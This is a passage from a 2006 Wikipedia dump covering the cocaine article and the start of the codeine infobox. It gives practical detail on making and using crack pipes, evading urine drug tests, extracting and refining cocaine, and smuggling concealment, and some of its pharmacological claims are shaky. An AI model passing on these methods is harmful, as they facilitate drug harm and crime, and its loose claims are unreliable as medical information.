Smoking freebase or crack cocaine is most often accomplished using a pipe made from a small glass tube about one quarter-inch (about 6&amp;nbsp;mm) in diameter and up to several inches long.  These are sometimes called &quot;straight shooters&quot;; readily available in convenience stores or smoke shops. They will sometimes contain a small paper flower and are promoted as a romantic gift. Buyers usually ask for a &quot;rose&quot; or a &quot;flower&quot;.  An alternate method is to use a small length of a radio antenna or similar metal tube.  To avoid burning the user’s fingers and lips on the metal pipe, a small piece of paper or cardboard (such as a piece torn from a matchbook cover) is wrapped around one end of the pipe and held in place with either a rubber band or a piece of adhesive tape.

A small piece of steel or copper scouring pad — often called a [[Brillo Pad|&quot;brillo&quot;]] or [[Chore Boy|&quot;chore&quot;]], from the scouring pads of the same name — is placed into one end of the tube after having the [[soap]]y cleanser coating burned off the metal. It then serves as a crude filter in which the &quot;rock&quot; can melt and boil to vapor. The use of steel wool also acts as a reducing agent, preventing the oxidisation of the cocaine.

The &quot;rock&quot; is placed at the end of the pipe closest to the filter and the other end of the pipe is placed in the mouth. A flame from a cigarette lighter or handheld torch is then held under the rock. As the rock is heated, it melts and burns away to vapor which the user inhales as smoke. 
The effects are felt almost immediately after smoking, are very intense, and do not last long &amp;mdash; usually five to fifteen minutes. Most users will want more after this time, especially frequent users. &quot;Crack houses&quot; depend on these cravings by providing users a place to smoke, and a ready supply of small bags for sale.

A heavily used [[crackpipe]] tends to fracture at the end from overheating with the flame used to heat the crack as the user obsessively attempts to inhale every bit of the drug on the metal wool filter.  The end is often broken further as the user &quot;pushes&quot; the pipe. &quot;Pushing&quot; is a technique used to partially recover crack which hardens on the inside wall of the pipe as the pipe cools. The user pushes the metal wool filter through the pipe from one end to the other to collect the build-up inside the pipe. The ends of the pipe can be broken by the object used to push the filter, frequently a small screwdriver or stiff piece of wire. The user will often remove the most jagged edges and continue using the pipe until it becomes so short that it burns the lips and fingers.  To continue using the pipe, the user will sometimes wrap a small piece of paper or cardboard around one end and hold it in place with a rubber band or adhesive tape.  Of course, not all people who smoke crack cocaine will let it get that short, and will get a new or different pipe. The tell-tale signs of a used crack pipe are a glass tube with burn marks at one or both ends and a clump of metal wool inside.

When smoked, cocaine is sometimes combined with other drugs, such as [[cannabis (drug)|cannabis]]; often rolled into a joint or [[Blunt (drug culture)|blunt]]. This combination is known as “[[primo]]”, “hype”, B-151er, &quot;a cocoapuff&quot;, &quot;a dirty&quot; or a “woo”. Crack smokers who are being drug tested may also make their “primo” with cigarette tobacco instead of cannabis, since a crack smoker can test clean within 2 to 3 days of use, if only urine (and not hair) is being tested.

===Mechanism of action===

Once cocaine is introduced into the bloodstream its acute clinical effects can be observed once the drug crosses the [[blood-brain barrier]]. This process can occur within seconds following administration, but can also last upwards of a half an hour. The delay in the onset of effects is largely determined by the method of administration. 

The primary mechanism of cocaine within the central nervous system is the blockage of the [[monoamine transporter|dopamine transporter]] (DAT). DAT is a protein that functions as a &quot;clean-up&quot; mechanism for the [[neurotransmitter]] [[dopamine]] once it is no longer needed for inter-cell signalling. The extra dopamine within the synaptic cleft binds to the DAT and is then carried back to the pre-synaptic neuron for repackaging and re-release at a future date. Because cocaine's chemical structure allows it to bind to the DAT it interferes with this re-uptake process. 

The [[ventral tegmental area]] (VTA), the [[nucleus accumbens]] and the prefrontal cortex are regions of the brain that are rich with dopamine receptors and dopamine-releasing neurons. Hence they are often the focus of research into the addictive and rewarding properties of cocaine use.  

Cocaine is also a less potent blocker of the [[monoamine transporter|norepinephrine transporter]] (NET) and [[serotonin transporter]] (SERT). Cocaine also blocks [[ion channel|sodium channels]], thereby interfering with the propagation of [[action potential]]s; thus, like [[lidocaine]] and [[novocaine]], it acts as a local anesthetic. The locomotor enhancing properties of cocaine may be attributable to its enhancement of dopaminergic transmission from the [[substantia nigra]]. Recent research points to an important role of circadian mechanisms [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12865893&amp;query_hl=16] and clock genes [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15967985&amp;query_hl=18] in behavioral actions of cocaine.


Since [[nicotine]] increases the levels of dopamine in the brain, many cocaine users find that consumption of [[tobacco]] products during cocaine use enhances the euphoria. This, however, may have undesirable consequences, such as uncontrollable [[chain smoking]] during cocaine use (even users who don't normally smoke [[cigarettes]] have been known to chain smoke when using cocaine), in addition to the detrimental health effects and the additional strain on the cardiovascular system caused by tobacco.

===Metabolism and excretion===
Cocaine is extensively [[metabolism|metabolized]], primarily in the [[liver]], with only about 1% excreted unchanged in the urine. It is mostly eliminated as [[benzoylecgonine]], the major [[metabolite]] of cocaine, and is also excreted in lesser amounts as ecgonine methyl ester and ecgonine.

If taken with [[ethanol|alcohol]], cocaine combines with the ethanol in the [[liver]] to form [[cocaethylene]], which is both more [[euphoria|euphorigenic]] and has higher [[cardiovascular]] toxicity than cocaine by itself.

Cocaine metabolites are detectable in urine for up to four days after cocaine is used. Benzoylecgonine can be detected in urine within four hours after cocaine inhalation and remains detectable in concentrations greater than 1000&amp;nbsp;ng/ml for as long as 48 hours. Detection in hair is possible in regular users until the sections of hair grown during use are cut or fall out.

===Effects and health issues===
Cocaine is a potent [[central nervous system]] [[stimulant]]. Its effects can last from 20 minutes to several hours, depending upon the dosage of cocaine taken, purity, and method of administration.

The initial signs of stimulation are hyperactivity, restlessness, increased [[blood pressure]], increased [[heart rate]] and [[euphoria]]. The euphoria is sometimes followed by feelings of discomfort and depression and a craving to re-experience the drug. Side effects can include twitching and [[paranoia]], which usually increase with frequent usage.

With excessive dosage the drug can produce [[hallucination]]s, paranoid delusions, [[tachycardia]], [[itch]]ing, and [[formication]].

Overdose causes tachyarrhythmias and a marked elevation of blood pressure. These can be life threatening, especially if the user has existing cardiac problems. 

Cocaine raises the amount of dopamine and serotonin in the nucleus accumbens; the &quot;crash&quot; experienced after the initial high is marked by an undershooting of normal levels afterwards. This is because neurons run out of dopamine and serotonin neurotransmitters. Receptors disappear as a response mechanism to too much neurotransmitter. This contributes to the rise in an abuser's tolerance thus requiring a larger dosage to achieve the same effect. The lack of normal amounts of serotonin and dopamine in the brain is the cause of the dysphoria and depression felt after the initial high. The diagnostic criteria for cocaine withdrawal is characterized by a dysphoric mood, fatigue, unpleasant dreams, insomnia or hypersomnia, increased appetite, psychomotor retardation or agitation, and anxiety.

The [[LD50|LD&lt;sub&gt;50&lt;/sub&gt;]] of Cocaine when administered to mice is 95.1 mg/kg.  Toxicity results in seizures, followed by respiratory and circulatory depression of medullar origin. This may lead to death from [[respiratory failure]], [[stroke]], [[cerebral hemorrhage]], or [[heart]]-failure. Cocaine is also highly pyrogenic, because the stimulation and increased muscular activity cause greater heat production. Heat loss is inhibited by the intense [[vasoconstriction]]. Cocaine-induced [[hyperthermia]] may cause muscle cell destruction and [[myoglobinuria]] resulting in [[renal failure]]. There is no specific [[antidote]] for cocaine overdose.

Cocaine abuse is associated with a lifetime risk of [[myocardial infarction|heart attack]] that is seven times that of non-users. During the hour after cocaine is used, [[heart attack]] risk rises 24-fold. It accounts for 25% of the heart attacks in the 18&amp;ndash;45 year-old age group.

Side effects from chronic smoking of cocaine include chest pain, lung trauma, shortness of breath, sore throat, hoarse voice, [[dyspnea]], and an aching, [[flu]]-like syndrome. A common misconception is that the smoking of cocaine breaks down [[tooth enamel]] and causes [[tooth decay]].  Although this is not true, the lifestyle of frequent cocaine users may include poor dental hygiene, which often results in tooth decay.  In addition, cocaine often causes involuntary tooth grinding, known as [[bruxism]], which can deteriorate tooth enamel and lead to [[gingivitis]].

Chronic intranasal usage can degrade the [[cartilage]] separating the [[nostril]]s (the [[Septum nasi]]), leading eventually to its complete disappearance.

===Cocaine as a local anesthetic===
Cocaine was historically useful as a topical anesthetic in eye and nasal surgery. The major disadvantages of this use are cocaine's intense [[vasoconstrictor]] activity and potential for [[cardiovascular]] toxicity. Cocaine has since been largely replaced in Western medicine by synthetic local anaesthetics such as [[benzocaine]], [[proparacaine]], and [[tetracaine]] though it remains available for use if specified. If vasoconstriction is desired for a procedure (as it reduces bleeding), the anesthetic is combined with a vasoconstrictor such as [[phenylephrine]] or [[epinephrine]]. In [[Australia]] it is currently prescribed for use as a local anesthetic for conditions such as mouth and lung [[ulcers]]. Some Australian [[ENT]] specialists occasionally use cocaine within the practice when performing procedures such as nasal [[cauterization]]. In this scenario dissolved cocaine is soaked into a ball of cotton wool, which is placed in the nostril for the 10-15 minutes immediately prior to the procedure, thus performing the dual role of both numbing the area to be cauterized and also vasoconstriction.

==== Production ====

Cocaine comes from the coca plant. The leaves are stripped from the plants and dried, then crushed into a paste, commonly using [[cement mix]] (containing [[sodium carbonate]]), [[Lime (mineral)|lime]] and [[water]]. This then allows extraction of the cocaine alkaloid into [[kerosene]]. The resulting water immiscible solvent (kerosene) acts to extract water insoluble cocaine alkaloids from the mixture. The plant leaves are usually agitated by stomping on them or, occasionally by using a so-called agitation machine. The cocaine alkaloids and kerosene mostly separates from the water and leaves, and then needs to be strained.

The alkaloids should be extracted from the kerosene by adding a dilute [[Hydrochloric acid|hydrochloric]] or [[sulfuric acid]] mix then strained again. [[Potassium permanganate]] is usually added then the mix should be allowed to sit for 4-6 hours. The paste is usually further strained and ammonia added. A dubious precipitate will be formed, known as cocaine base.

The base is dried and converted to cocaine hydrochloride (HCl) by soaking it in [[acetone]] and straining it. Adding diluted hydrochloric acid or Ether (cutting) should cause a precipitate to form which is usually dried under heat lamps, resulting in concentrated [[cocaine hydrochloride]].''

Purity of cocaine varies widely over a range of approximately 10 to 90 percent, with larger quantities generally more pure than smaller quantities.

==Cocaine trade==

Because of the extensive processing it undergoes during preparation and its highly addictive nature, [[cocaine]] is generally treated as a [[hard drug]], with severe penalties for possession and trafficking. Demand remains high, and consequently black market cocaine is quite expensive. Unprocessed cocaine, such as [[coca leaves]] is occasionally bought and sold, but this is exceedingly rare as it is much easier and more profitable to conceal and smuggle it in powdered form (cocaine hydrochloride).

Most cocaine is smuggled in large quantities in [[truck]]s, [[boat]]s, or small [[airplane]]s. Smaller gangs will often send out a [[Mule (smuggling)|drug mule]], often a young woman, with kilos of cocaine strapped to her waist or legs or hidden in her bags. If she gets through without being caught, the gangs will reap most of the profits. If she is caught however, gangs will sever all links and she will usually stand trial for trafficking by herself.

[[Colombia]] produces around 75% of the world's cocaine.

=== Trafficking ===

[[Organized crime|Organized criminal]] gangs operating on a large scale dominate the cocaine trade. Most cocaine is grown and processed in [[South America]], particularly in [[Colombia]] and [[Peru]], and smuggled into the [[United States]] and [[Europe]], where it is sold at huge markups.

===Distribution ===

During the chain of distribution, cocaine is often adulterated or &quot;cut&quot; with a variety of substances prior to sale. Common [[adulterant]]s include [[baking soda]], sugars (such as lactose, [[inositol]], and [[mannitol]]), and local anesthetics (such as [[benzocaine]] or [[lidocaine]], which mimic or add to cocaine's numbing effect on [[mucous membrane]]s).

==Addiction==

'''Cocaine addiction''' is the obsessive or uncontrollable abuse of cocaine, and can result in physiological damage, lethargy, depression, or a potentially fatal overdose.  Many habitual abusers have been diagnosed with a manic condition similar to [[amphetamine psychosis]] and [[schizophrenia]], whose symptoms include aggression, severe paranoia, and tactile hallucinations (including the feeling of insects under the skin, or &quot;coke bugs&quot;).

Cocaine has positive reinforcement effects, which refers to the effect that certain stimuli have on behavior. Good feelings become associated with the drug, causing a frequent user to take the drug as a response to bad news or mild [[depression]]. This activation strengthens the response that was just made. If the drug was taken by a fast acting route such as injection or inhalation, the response will be the act of taking more cocaine, so the response will be reinforced. Powder cocaine, being a [[club drug]] is most commonly available in the evening and night hours. Since cocaine is a [[stimulant]], a user will often drink large amounts of [[alcohol]] during and after usage or smoke [[marijuana]] to dull the effects to help one achieve slumber. These several hours of temporary relief and pleasure will further reinforce the positive response. Other downers such as heroin and various pharmaceuticals are often used for the same purpose, further increasing addiction potential and harmfulness.

It is speculated that cocaine's addictive properties stem from its [[DAT]]-blocking effects (in particular, increasing the dopaminergic transmission from [[ventral tegmental area]] neurons). However, a study has shown that mice with no dopamine transporters still exhibit the rewarding effects of cocaine administration [http://www.pnas.org/cgi/content/full/95/13/7699]. Later work demonstrated that a combined DAT/SERT knockout eliminated the rewarding effects [http://www.pnas.org/cgi/content/full/98/9/5300]. The rewarding effects of cocaine are influenced by [[circadian rhythms]] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15087244&amp;query_hl=23], possibly by involving a set of genes termed &quot;clock genes&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16094306&amp;query_hl=18].

===Treatment===

[[Cognitive Behavioral Therapy]] (CBT) shows promising results. Spiritual based [[Twelve-step program]]s such as [[Cocaine Anonymous]] (modeled on [[Alcoholics Anonymous]]) have some success combatting this problem. A [[cocaine vaccine]] is also being tested which may prevent the recipient from feeling the desirable effects of the drug, although a similar effort to develop a [[heroin]] vaccine was abandoned as ineffective in the [[1970s]].

====GVG====
[[Image:Dopamine_monkey.png|300px|right|thumb|[[Positron Emission Tomography]] scans showing the average level of dopamine receptors in 6 primates's brains. Red is high- and blue is low-concentration of dopamine receptors. The higher the level of dopamine, the fewer receptors there will be.]]
Studies have shown that [[gamma vinyl-gamma-aminobutyric acid]] (gamma vinyl-GABA, or GVG), a drug normally used to treat [[epilepsy]], blocks cocaine's action in the [[brain]]s of [[primate]]s. GVG increases the amount of the neurotransmitter [[gamma-aminobutyric acid|GABA]] in the brain and reduces the level of [[dopamine]] in the region of the brain which is thought to be involved in addiction. In January [[2005]] the [[US Food and Drug Administration]] gave permission for a Phase I [[clinical trial]] of GVG for the treatment of addiction. Another drug currently tested for anti-addictive properties is the cannabinoid antagonist [[rimonabant]].

====GBR 12909====
GBR 12909 (Vanoxerine) is a [[dopamine reuptake inhibitor|selective dopamine uptake inhibitor]]. Because of this, it reduces cocaine's effect on the brain, and may help to treat cocaine addiction. Studies have shown that GBR, when given to primates, suppresses cocaine self-administration.

====Venlafaxine====
[[Venlafaxine]] ([[Effexor]]), although not a dopamine re-uptake inhibitor, is a potent [[serotonin-norepinephrine reuptake inhibitor]] which has been successfully used to combat the depression caused by cocaine and to a lesser extent, the addiction associated with the drug itself. Venlafaxine has been shown to have significant withdrawal problems itself, and can lead to lifetime use due to these withdrawal effects. A statistically significant number of people prescribed Effexor have committed suicide (2 attempts per 1000 patients, vs 1.56 suicides per 1000 untreated depressives).

====Coca Tea====
[[Coca tea]] has been used for the treatment of cocaine dependence. Two reports{{citation needed}} found that treatment that includes coca tea can be successful in controlling relapse to cocaine dependence. In one study, coca tea plus counseling was used to treat cocaine dependence in 23 cocaine-addicted coca paste smokers seeking treatment at an outpatient clinic in Lima, [[Peru]]. Cocaine lapses fell from 4.35 times a month prior to treatment to 1.22 during treatment. Mean abstinence increased from 32 days before treatment to 217.2 days during treatment. The results support the effectiveness of [[Coca tea]] for preventing relapse in cocaine-addicted patients.

==Usage==
===In the United States===
====Overall usage====
The National Household Survey on Drug Abuse (NHSDA) reported in [[1999]] that cocaine was used by 3.7 million Americans, or 1.7 percent of the household population aged 12 and over.  Estimates of the current number of those who use cocaine regularly (at least once per month) vary, but 1.5 million is a widely accepted figure within the research community. 

Although cocaine use had not significantly changed over the six years prior to 1999, the number of first-time users went from 574,000 in 1991, to 934,000 in 1998 &amp;mdash; an increase of 63%. While these numbers indicated that cocaine is still widely present in the United States, cocaine use was significantly less prevalent than it was during the early 1980s. Cocaine use peaked in [[1982]] when 10.4 million Americans (5.6 percent of the population) reportedly used the drug.

====Usage among youth====
The [[1999]] [[Monitoring the future|Monitoring the Future]] (MTF) survey found the proportion of American students reporting use of powder cocaine rose during the 1990s. In [[1991]], 2.3 percent of eighth-graders stated that they had used cocaine in their lifetime. This figure rose to 4.7 percent in 1999. For the older grades, increases began in 1992 and continued through the beginning of 1999. Between those years, lifetime use of cocaine went from 3.3 percent to 7.7 percent for tenth-graders and from 6.1 percent to 9.8 percent for twelfth-graders. Lifetime use of crack cocaine, according to MTF, also increased among eighth-, tenth-, and twelfth-graders, from an average of 2 percent in 1991 to 3.9 percent in 1999. 

Perceived risk and disapproval of cocaine and crack use both decreased during the 1990s at all three grade levels. The 1999 NHSDA found the highest rate of monthly cocaine use was for those aged 18&amp;ndash;25 at 1.7 percent, an increase from 1.2 percent in 1997. Rates declined between 1996 and 1998 for ages 26&amp;ndash;34, while rates slightly increased for the 12&amp;ndash;17 and 35+ age groups. Studies also show people are experimenting with cocaine at younger ages. NHSDA found a steady decline in the mean age of first use from 23.6 years in 1992 to 20.6 years in 1998.

====Availability====
Cocaine is readily available in all major U.S. metropolitan areas. According to the ''Summer 1998 Pulse Check'', published by the U.S. [[Office of National Drug Control Policy]], cocaine use had stabilized across the country, with a few increases reported in [[San Diego]], [[Bridgeport, Connecticut|Bridgeport]], [[Miami, Florida|Miami]], and [[Boston, Massachusetts|Boston]]. In the West, cocaine usage was lower, which was thought to be because some users were switching to [[methamphetamine]], which was cheaper and provides a longer-lasting high. Numbers of cocaine users are still very large, with a concentration among city-dwelling youth.

====Sources====
In [[1999]], [[Colombia]] was the world's leading producer of cocaine. Three-quarters of the world's annual yield of cocaine was produced there, both from cocaine base imported from [[Peru]] (primarily the [[Huallaga Valley]]) and [[Bolivia]], and from locally grown [[coca]]. There was a 28 percent increase in the amount of potentially harvestable [[coca]] plants in [[Colombia]] in [[1998]]. This, combined with crop reductions in [[Bolivia]] and [[Peru]], made [[Colombia]] the nation with the largest area of coca under cultivation. Coca grown for traditional purposes by indigenous communities, a use which is still present and is permitted by Colombian laws, only makes up a small fragment of total coca production, most of which is used for the illegal drug trade. Attempts to eradicate coca fields through the use of defoliants have devastated part of the farming economy in some coca growing regions of Colombia, and strains appear to have been developed that are more resistant or immune to their use.  Whether these strains are natural mutations or the product of human tampering is unclear. These strains have also shown to be more potent than those previously grown, increasing profits for the drug cartels responsible for the exporting of cocaine. The cultivation of coca has become an attractive, and in some cases even necessary, economic decision on the part of many growers due to the combination of several factors, including the persistence of worldwide demand, the lack of other employment alternatives, the lower profitability of alternative crops in official crop substitution programs, the eradication-related damages to non-drug farms, and the spread of new strains of the coca plant.

====Distribution====
Cocaine shipments from [[South America]] transported through [[Mexico]] or [[Central America]] are generally moved over land or by air to staging sites in northern Mexico. The cocaine is then broken down into smaller loads for smuggling across the [[US-Mexico border|U.S.&amp;ndash;Mexico border]]. The primary cocaine importation points in the [[United States]] are in [[Arizona]], southern [[California]], southern [[Florida]], and [[Texas]]. Typically, land vehicles are driven across the U.S.-Mexico border. 

Cocaine is also carried in small, concealed, kilogram quantities across the border by couriers known as “mules” (or “burros”), who enter the United States either legally through ports of entry or illegally through undesignated points along the border. Colombian traffickers have also started using a new concealment method whereby they add chemical compounds to cocaine hydrochloride to produce “black cocaine”. The cocaine in this substance is not detected by standard chemical tests or drug-sniffing canines.

Cocaine traffickers from [[Colombia]], and recently [[Mexico]], have also established a labyrinth of [[smuggling]] routes throughout the [[Caribbean]], the [[Bahama]] Island chain, and South [[Florida]]. They often hire traffickers from [[Mexico]] or the [[Dominican Republic]] to transport the drug. The traffickers use a variety of smuggling techniques to transfer their drug to U.S. markets. These include airdrops of 500&amp;ndash;700&amp;nbsp;kg in the [[Bahama Islands]] or off the coast of [[Puerto Rico]], mid-ocean boat-to-boat transfers of 500&amp;ndash;2,000&amp;nbsp;kg, and the commercial shipment of tonnes of cocaine through the port of [[Miami]].

Bulk cargo ships are also used to smuggle cocaine to staging sites in the western [[Caribbean]]&amp;ndash;[[Gulf of Mexico]] area. These vessels are typically 150&amp;ndash;250&amp;nbsp;foot (50&amp;ndash;80&amp;nbsp;m) coastal freighters that carry an average cocaine load of approximately 2.5 tonnes. Commercial fishing vessels are also used for smuggling operations. In areas with a high volume of recreational traffic, smugglers use the same types of vessels, such as [[go-fast boat]]s, as those used by the local populations.

==Works concerning cocaine==
===Books about cocaine===
*''[[Special:Booksources/0312422261|Cocaine: an unauthorized biography]]'' by [[Dominic Streatfeild]]
*''[[Novel, With Cocaine]]'', by [[M. Ageyev]]
*''[[Über Coca]]'' by [[Sigmund Freud]]
*''The Triumph of Surgery'' by [[Jürgen Thorwald]] - Ch. 6 - The second battle against Pain (The early use of cocaine solution in eye surgery)
*''More, Now, Again'' by [[Elizabeth Wurtzel]]
*''Snowblind'' by [[Robert Sabbag]]
* Celerino III Castillo &amp; Dave Harmon (1994). ''Powderburns: Cocaine, Contras &amp; the Drug War'', Sundial. ISBN 0889625786 (paperback) ISBN 0809548550 (hardcover; Borgo Pr; 3rd ed.; 1995). 
* Alexander Cockburn &amp; Jeffrey St. Clair (1999). ''Whiteout: The CIA, Drugs and the Press'', Verso. ISBN 1859841392 (cloth), ISBN 1859842585 (paperback). Cites 116 books. 
* Frederick P. Hitz (1999). ''Obscuring Propriety: The CIA and Drugs, International Journal of Intelligence and Counterintelligence'', 12(4): 448-462 DOI:10.1080/088506099304990 
* Robert Parry (1999). ''Lost History: [[Contras]], Cocaine, the Press &amp; “[[Project Truth]]”'', Media Consortium. ISBN 1893517004.
* Richard Smart (Hard Cover 1985). ''The Snow Papers''  The Atlantic Monthly Press  ISBN 0-87113-030-0
* Peter Dale Scott &amp; Jonathan Marshall (1991). ''Cocaine Politics: Drugs, Armies, and the CIA in Central America'', University of California Press. ISBN 0520214498 (paperback, 1998 reprint), ISBN 0520073126 (hardcover, 1991), ISBN 0520077814 (paperback, 1992 reprint).
* [[Gary Webb]](1998). ''Dark Alliance: The CIA, the Contras, and the Crack Cocaine Explosion'', Seven Stories Press. ISBN 1888363681 (hardcover, 1998), ISBN 1888363932 (paperback, 1999).
* [[Philippe Bourgois]] ''In Search of Respect: Selling Crack in El Barrio''. New York: Cambridge University Press. 2003. Second Updated Edition.
* [[Otto Snow]] ''THC &amp; Tropacocaine'' ISBN 0966312856 (paperback 2004)
* [[David Lee]] ''Cocaine Handbook'' ISBN 091590456X (paperback 1981)
* [[Adam Gottlieb]] ''Cocaine Tester's Handbook'' ASIN B0007C137A (paperback 1975)
* [[Adam Gottlieb]] ''Pleasures of Cocaine: If You Enjoy: This Book May Save Your Life'' ISBN 091417181X (paperback 1996)
* [[Carol Saline]]  ''Doctor Snow: How the FBI Nailed a Ivy League Coke King'' ISBN 0-453-00593-4 (HardCover 1986)
* [[Mark Bowden]] ''Doctor Dealer: The Rise &amp; Fall Of An All American Boy and his Multi-Million Dollar Cocaine Empire'' ISBN 0-446-51382-2 (HardCover 1987)
* ''Less Than Zero'' by [[Bret Easton Ellis]]  (1985)

===Movies about cocaine===
The following films feature the use or trade of cocaine as a major plot element
* ''[[Bad Lieutenant]]'' directed by [[Abel Ferrara]]
* ''[[Blow (movie)|Blow]]'' directed by [[Ted Demme]]
* ''[[Boogie Nights]]'' directed by [[Paul Thomas Anderson]]
* ''[[Bright Lights, Big City]]'' directed by [[James Bridges]]
* ''[[Carlito's Way]]'' directed by [[Brian de Palma]] (the main drug in this film is actually heroin)]
* ''[[Clean and Sober]]'' directed by [[Glenn Gordon Carron]]
* ''[[Fear and Loathing in Las Vegas]]'' directed by [[Terry Gilliam]] (the centric drugs in this film are actually hallucinogens)]
* ''[[Federal Hill]]'' directed by [[Michael Corrente]]
* ''[[Goodfellas]]'' directed by [[Martin Scorsese]]
* ''[[Just Say Know]]'' directed by [[Tao Ruspoli]]
* ''[[Layer Cake]]'' directed by [[Matthew Vaughn]]
* ''[[Less Than Zero]]'' directed by [[Marek Kanievska]]
* ''[[Leon]]'' directed by [[Luc Besson]]
* ''[[Lord of War]]'' directed by [[Andrew Niccol]]
* ''[[Maria Full of Grace]]'' directed by [[Joshua Marston]]
* ''[[New Jack City]]'' directed by [[Mario Van Peebles]]
* ''[[Scarface (1983 movie)|Scarface]]'' directed by [[Brian de Palma]]
* ''[[The Seven-Per-Cent Solution]]'' directed by [[Herbert Ross]]
* ''[[Starsky &amp; Hutch]]'' directed by [[Todd Phillips]]
* ''[[Traffic (movie)|Traffic]]'' directed by [[Steven Soderbergh]]
* ''[[True Romance]]'' directed by [[Tony Scott]]
* ''[[Big Money Hustlas]]'' directed by [[John Cafiero]]

===See also===
* [[List of songs about drugs#Cocaine|List of songs about cocaine]]

==See also==
*[[Benzocaine]]
*[[Coca eradication]]
*[[Coca tea]]
*[[Cuscohygrine]]
*[[Dihydrocuscohygrine]]
*[[Drug addiction]]
*[[Ecgonine benzoate]]
*[[Hydroxytropacocaine]]
*[[Hygrine]]
*[[Methylecgonine cinnamate]]
*[[Procaine|Novocaine]]
*[[Tropacocaine]]
*[[Truxilline]]
*[[Psychoactive drug]]

==References==
* Nahas, Gabriel G.: [http://www.unodc.org/unodc/en/bulletin/bulletin_1990-01-01_1_page007.html The Experimental Use of Cocaine in Human Subjects], Bulletin on Narcotics, 1990.
* Siegel RK, Elsohly MA, Plowman T, Rury PM, Jones RT. (1986). &quot;Cocaine in herbal tea.&quot; ''Journal of the American Medical Association'' '''255''', 40. PubMed unique identifier [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3940302&amp;query_hl=3&amp;itool=pubmed_docsum 3940302]

==External links==
{{Wiktionary}}
*[http://www.ca.org/literature/selftest.htm Self-test] &amp;ndash; from Cocaine Addicts Anonymous
*[http://www.CocaineHelp.org Cocaine User Helping Hand] &amp;ndash; Internet Portal dedicated to help crack- and cocaine-addicted people. Contains wide variety of information on drug abuse, available treatment, and recovery issues.
*[http://www.thegooddrugsguide.com/cocaine/index.htm Good Drugs Guide]
*[http://www.erowid.org/chemicals/cocaine/cocaine.shtml The Erowid Cocaine Vault]
*[http://www.snopes.com/cokelore/cocaine.asp Urban Legends Reference Pages: Cokelore (Cocaine-Cola)] &amp;ndash; information about cocaine in Coke
*[http://www.pdxnorml.org/NYT_addictive_080294.html Addictive properties]
*[http://www.wired.com/wired/archive/12.11/columbia.html The Mystery of the Coca Plant that Wouldn't Die] - Wired Magazine
*[http://www.sharedresponsibility.gov.co/ Shared Responsibility] &amp;ndash; Information about European cocaine use and drug trafficking in Colombia.
*[http://sun.ars-grin.gov:8080/npgspub/xsql/duke/chemdisp.xsql?chemical=COCAINE Cocaine content of plants]
*[http://www.cocaine.org Cocaine.org] &amp;ndash; A very thorough information guide on Cocaine and its history, use/abuse, etc.

{{stimulants}}

[[Category:Addiction]]
[[Category:Alkaloids]]
[[Category:Benzoates]]
[[Category:Carboxylate esters]]
[[Category:Class A drugs]]
[[Category:Dopamine reuptake inhibitors]]
[[Category:Local anesthetics]]
[[Category:Quechua loanwords]]
[[Category:Schedule II controlled substances]]
[[Category:Stimulants]]
[[Category:Sympathomimetic amines]]

[[ar:كوكائين]]
[[bg:Кокаин]]
[[cs:Kokain]]
[[da:Kokain]]
[[de:Kokain]]
[[es:Cocaína]]
[[eo:Kokaino]]
[[fr:Cocaïne]]
[[ko:코카인]]
[[io:Kokaino]]
[[is:Kókaín]]
[[it:Cocaina]]
[[he:קוקאין]]
[[lt:Kokainas]]
[[hu:Kokain]]
[[ms:Kokaina]]
[[nl:Cocaïne]]
[[ja:コカイン]]
[[no:Kokain]]
[[pl:Kokaina]]
[[pt:Cocaína]]
[[ru:Кокаин]]
[[fi:Kokaiini]]
[[sv:Kokain]]
[[tr:Kokain]]
[[uk:Кокаїн]]</text>
    </revision>
  </page>
  <page>
    <title>Codeine</title>
    <id>7702</id>
    <revision>
      <id>41630847</id>
      <timestamp>2006-02-28T17:29:03Z</timestamp>
      <contributor>
        <username>Ugur Basak Bot</username>
        <id>735354</id>
      </contributor>
      <minor />
      <comment>robot  Adding: tr</comment>
      <text xml:space="preserve">:''For the rock band of this name see [[Codeine (band)]].''
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=&quot;250px&quot; align=&quot;right&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em&quot;
|-
| bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:codeine.png|250px|Molecular structure of codeine]]&lt;br/&gt;
''{{PAGENAME}}''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | ''(5''R'',6''S'')-7,8-didehydro-4,5-epoxy-&lt;br&gt;3-methoxy-''N''-methylmorphinan-6-ol''
|- align=&quot;center&quot; style=&quot;border-bottom: 2px solid gray&quot;
| '''[[CAS number]]''' &lt;br/&gt; 76-57-3 (anhydrous)
| '''[[ATC code]]'''   &lt;br/&gt; ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Chemical formula]]
| bgcolor=&quot;#ddeeff&quot; | C&lt;sub&gt;18&lt;/sub&gt;H&lt;sub&gt;21&lt;/sub&gt;NO&lt;sub&gt;3&lt;/sub&gt;
|-
| bgcolor=&quot;#eeeeee&quot; | [[Molecular weight]]
| bgcolor=&quot;#ddeeff&quot; | 299.4
|-
| bgcolor=&quot;#eeeeee&quot; | [[Bioavailability]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | Metabolism
| bgcolor=&quot;#ddeeff&quot; | hepatic
|-
| bgcolor=&quot;#eeeeee&quot; | [[Elimination half-life]]
| bgcolor=&quot;#ddeeff&quot; | 3&amp;ndash;4 hours
|-
| bgcolor=&quot;#eeeeee&quot; | [[Excretion]]
| bgcolor=&quot;#ddeeff&quot; | renal
|-
| bgcolor=&quot;#eeeeee&quot; | [[Pregnancy category (pharmaceutical)|Pregnancy category]]
| bgcolor=&quot;#ddeeff&quot; | Category A ([[Australia]])
|-
